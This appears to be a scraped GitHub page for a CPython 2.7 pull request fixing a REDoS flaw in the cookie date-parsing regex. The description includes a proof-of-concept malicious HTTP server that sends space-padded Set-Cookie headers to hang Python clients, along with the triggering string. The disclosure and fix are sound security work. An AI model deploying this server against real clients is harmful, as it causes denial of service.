René's URL Explorer Experiment


Title: [2.7] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) by vstinner · Pull Request #17345 · python/cpython · GitHub

Open Graph Title: [2.7] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) by vstinner · Pull Request #17345 · python/cpython

X Title: [2.7] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) by vstinner · Pull Request #17345 · python/cpython

Description: The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bf) https://bugs.python.org/issue38804

Open Graph Description: The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cooki...

X Description: The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cooki...

Opengraph URL: https://github.com/python/cpython/pull/17345

X: @github

direct link

Domain: github.com

react-profiling0
react-import-mapreact,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322
route-pattern/:user_id/:repository/pull/:id/files(.:format)
route-controllerpull_requests
route-actionfiles
fetch-noncev2:462ac8df-f95b-9065-f092-2f67c2024ee3
current-catalog-service-hashae870bc5e265a340912cde392f23dad3671a0a881730ffdadd82f2f57d81641b
request-id91A8:299992:1E6DE8F:280CE6A:6B022DAD
html-safe-nonceb8be497cdebeb850a811c333683ae13a04f98df2c14252ab7d8d70d9813bd93e
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5MUE4OjI5OTk5MjoxRTZERThGOjI4MENFNkE6NkIwMjJEQUQiLCJ2aXNpdG9yX2lkIjoiODg4MzUwOTU4ODU5NTQ1MzM1NyIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9
visitor-hmac097f5a2189372b40e47d6baa310dc9f02865bdb70a8319a03809a18c85c57ea2
hovercard-subject-tagpull_request:344548489
github-keyboard-shortcutsrepository,pull-request-list,pull-request-conversation,pull-request-files-changed,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///pull_requests/show/files
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/python/cpython/pull/17345/files
twitter:imagehttps://avatars.githubusercontent.com/u/194129?s=400&v=4
twitter:cardsummary_large_image
og:imagehttps://avatars.githubusercontent.com/u/194129?s=400&v=4
og:image:altThe regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cooki...
og:site_nameGitHub
og:typeobject
hostnamegithub.com
expected-hostnamegithub.com
None87e774ee7c6b3bee0490394e4d3e57ec9dbc956f74b87ea685dc8996c1676456
turbo-cache-controlno-preview
diff-viewunified
go-importgithub.com/python/cpython git https://github.com/python/cpython.git
octolytics-dimension-user_id1525981
octolytics-dimension-user_loginpython
octolytics-dimension-repository_id81598961
octolytics-dimension-repository_nwopython/cpython
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id81598961
octolytics-dimension-repository_network_root_nwopython/cpython
turbo-body-classeslogged-out env-production page-responsive full-width
disable-turbotrue
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
release423dbb54c5e7bfecc838eb387c1435eb3d0e760d
ui-targetfull
theme-color#1e2327
color-schemelight dark

Links:

Skip to contenthttps://github.com/python/cpython/pull/17345/files#start-of-content
https://github.com/
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fpython%2Fcpython%2Fpull%2F17345%2Ffiles
GitHubRepository hosting, code review, and collaborationhttps://github.com/platform
CopilotAI coding agent for tasks, projects, and automated workhttps://github.com/features/copilot
ActionsCI/CD and automationhttps://github.com/features/actions
Code QualityQuality analysis, fixes, and enforcementhttps://github.com/features/code-quality
CodespacesCloud development environmentshttps://github.com/features/codespaces
Code SecurityVulnerability detection and remediationhttps://github.com/security/advanced-security/code-security
Secret ProtectionSecret scanning and leak preventionhttps://github.com/security/advanced-security/secret-protection
All Featureshttps://github.com/features
Documentationhttps://docs.github.com/en
Traininghttps://learn.github.com/skills
Certificationshttps://learn.github.com/credentials
Build with Copilothttps://github.com/features/ai
Customize Copilothttps://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-copilot-overview
Integrationshttps://github.com/marketplace
Trending reposhttps://github.com/trending
GitHub Sponsorshttps://github.com/open-source/sponsors
Developer articleshttps://github.com/resources/articles
ChangelogYour source for the latest features, improvements, and fixes across GitHub products, all in one place.https://github.blog/changelog/
Enterpriseshttps://github.com/enterprise
Teamhttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
See all industrieshttps://github.com/solutions/industry
Why GitHubhttps://github.com/why-github
Customer Storieshttps://github.com/customer-stories
Business insightshttps://github.com/solutions/executive-insights
Trust Centerhttps://github.com/trust-center
GitHub Advanced SecurityEnterprise-grade code securityhttps://github.com/security/advanced-security
Copilot for businessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Documentationhttps://docs.github.com/en
Resource centerhttps://github.com/resources
Bloghttps://github.blog/
Events & webinarshttps://github.com/resources/events
Community Forumhttps://github.com/orgs/community/discussions
Customer Storieshttps://github.com/customer-stories
Integrationshttps://github.com/marketplace
Customer supporthttps://help.github.com/
Traininghttps://learn.github.com/skills
GitHub Statushttps://www.githubstatus.com/
Abouthttps://github.com/about
Partnershttps://github.com/partners
Changeloghttps://github.blog/changelog/
GitHub UniverseThe event for developers, by developers — talks, workshops, and what’s next for GitHub.https://githubuniverse.com/
Pricinghttps://github.com/pricing
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fpython%2Fcpython%2Fpull%2F17345%2Ffiles
Sign uphttps://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fpull_requests%2Fshow%2Ffiles&source=header-repo&source_repo=python%2Fcpython
Reloadhttps://github.com/python/cpython/pull/17345/files
Reloadhttps://github.com/python/cpython/pull/17345/files
Reloadhttps://github.com/python/cpython/pull/17345/files
pythonhttps://github.com/python
cpythonhttps://github.com/python/cpython
Codehttps://github.com/python/cpython
Issues5k+ (5k+)https://github.com/python/cpython/issues
Pull requests2.4k (2.4k)https://github.com/python/cpython/pulls
Actionshttps://github.com/python/cpython/actions
Projectshttps://github.com/python/cpython/projects
Security and qualityhttps://github.com/python/cpython/security
Insightshttps://github.com/python/cpython/insights
Sign up for GitHub https://github.com/signup?return_to=%2Fpython%2Fcpython%2Fissues%2Fnew%2Fchoose
terms of servicehttps://docs.github.com/terms
privacy statementhttps://docs.github.com/privacy
Sign inhttps://github.com/login?return_to=%2Fpython%2Fcpython%2Fissues%2Fnew%2Fchoose
vstinnerhttps://github.com/vstinner
python:2.7https://github.com/python/cpython/tree/2.7
Conversation 6 https://github.com/python/cpython/pull/17345
Commits 1 https://github.com/python/cpython/pull/17345/commits
Checks 0 https://github.com/python/cpython/pull/17345/checks
Files changed https://github.com/python/cpython/pull/17345/files
Please reload this pagehttps://github.com/python/cpython/pull/17345/files
[2.7] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) https://github.com/python/cpython/pull/17345/files#top
Show all changes 1 commit https://github.com/python/cpython/pull/17345/files
0b985cd bpo-38804: Fix REDoS in http.cookiejar (GH-17157) bcaller Nov 22, 2019 https://github.com/python/cpython/pull/17345/commits/0b985cd152f21c5417e2b4695e92b950919eaceb
Clear filters https://github.com/python/cpython/pull/17345/files
Please reload this pagehttps://github.com/python/cpython/pull/17345/files
Please reload this pagehttps://github.com/python/cpython/pull/17345/files
cookielib.py https://github.com/python/cpython/pull/17345/files#diff-03c728c1ac792d9ece2e3395afa707e509c9bc406f500323f68c283ef497ff8e
test_cookielib.py https://github.com/python/cpython/pull/17345/files#diff-6b4bf312cf3e49510756a961e76ebddba1ddfd6d538508a3fa0e33a44092704b
ACKS https://github.com/python/cpython/pull/17345/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
2019-11-15-00-54-42.bpo-38804.vjbM8V.rst https://github.com/python/cpython/pull/17345/files#diff-dca8f044e9c541004eded788cfb85ed47b3e19fe552c4e1c15b5fade33b528f7
Lib/cookielib.pyhttps://github.com/python/cpython/pull/17345/files#diff-03c728c1ac792d9ece2e3395afa707e509c9bc406f500323f68c283ef497ff8e
View file https://github.com/python/cpython/blob/0b985cd152f21c5417e2b4695e92b950919eaceb/Lib/cookielib.py
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17345/{{ revealButtonHref }}
https://github.com/python/cpython/pull/17345/files#diff-03c728c1ac792d9ece2e3395afa707e509c9bc406f500323f68c283ef497ff8e
https://github.com/python/cpython/pull/17345/files#diff-03c728c1ac792d9ece2e3395afa707e509c9bc406f500323f68c283ef497ff8e
https://github.com/python/cpython/pull/17345/files#diff-03c728c1ac792d9ece2e3395afa707e509c9bc406f500323f68c283ef497ff8e
bcallerhttps://github.com/bcaller
Nov 22, 2019https://github.com/python/cpython/pull/17345/files#r349703449
Learn morehttps://docs.github.com/articles/managing-disruptive-comments/#hiding-a-comment
Please reload this pagehttps://github.com/python/cpython/pull/17345/files
bcallerhttps://github.com/bcaller
Nov 22, 2019https://github.com/python/cpython/pull/17345/files#r349704030
Learn morehttps://docs.github.com/articles/managing-disruptive-comments/#hiding-a-comment
Please reload this pagehttps://github.com/python/cpython/pull/17345/files
vstinnerhttps://github.com/vstinner
Nov 22, 2019https://github.com/python/cpython/pull/17345/files#r349713231
Learn morehttps://docs.github.com/articles/managing-disruptive-comments/#hiding-a-comment
Please reload this pagehttps://github.com/python/cpython/pull/17345/files
bcallerhttps://github.com/bcaller
Nov 22, 2019https://github.com/python/cpython/pull/17345/files#r349720711
Learn morehttps://docs.github.com/articles/managing-disruptive-comments/#hiding-a-comment
Please reload this pagehttps://github.com/python/cpython/pull/17345/files
https://github.com/python/cpython/pull/17345/files#diff-03c728c1ac792d9ece2e3395afa707e509c9bc406f500323f68c283ef497ff8e
https://github.com/python/cpython/pull/17345/files#diff-03c728c1ac792d9ece2e3395afa707e509c9bc406f500323f68c283ef497ff8e
Lib/test/test_cookielib.pyhttps://github.com/python/cpython/pull/17345/files#diff-6b4bf312cf3e49510756a961e76ebddba1ddfd6d538508a3fa0e33a44092704b
View file https://github.com/python/cpython/blob/0b985cd152f21c5417e2b4695e92b950919eaceb/Lib/test/test_cookielib.py
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17345/{{ revealButtonHref }}
https://github.com/python/cpython/pull/17345/files#diff-6b4bf312cf3e49510756a961e76ebddba1ddfd6d538508a3fa0e33a44092704b
https://github.com/python/cpython/pull/17345/files#diff-6b4bf312cf3e49510756a961e76ebddba1ddfd6d538508a3fa0e33a44092704b
https://github.com/python/cpython/pull/17345/files#diff-6b4bf312cf3e49510756a961e76ebddba1ddfd6d538508a3fa0e33a44092704b
https://github.com/python/cpython/pull/17345/files#diff-6b4bf312cf3e49510756a961e76ebddba1ddfd6d538508a3fa0e33a44092704b
Misc/ACKShttps://github.com/python/cpython/pull/17345/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
View file https://github.com/python/cpython/blob/0b985cd152f21c5417e2b4695e92b950919eaceb/Misc/ACKS
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17345/{{ revealButtonHref }}
https://github.com/python/cpython/pull/17345/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
https://github.com/python/cpython/pull/17345/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rsthttps://github.com/python/cpython/pull/17345/files#diff-dca8f044e9c541004eded788cfb85ed47b3e19fe552c4e1c15b5fade33b528f7
View file https://github.com/python/cpython/blob/0b985cd152f21c5417e2b4695e92b950919eaceb/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17345/{{ revealButtonHref }}
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Viewport: width=device-width


URLs of crawlers that visited me.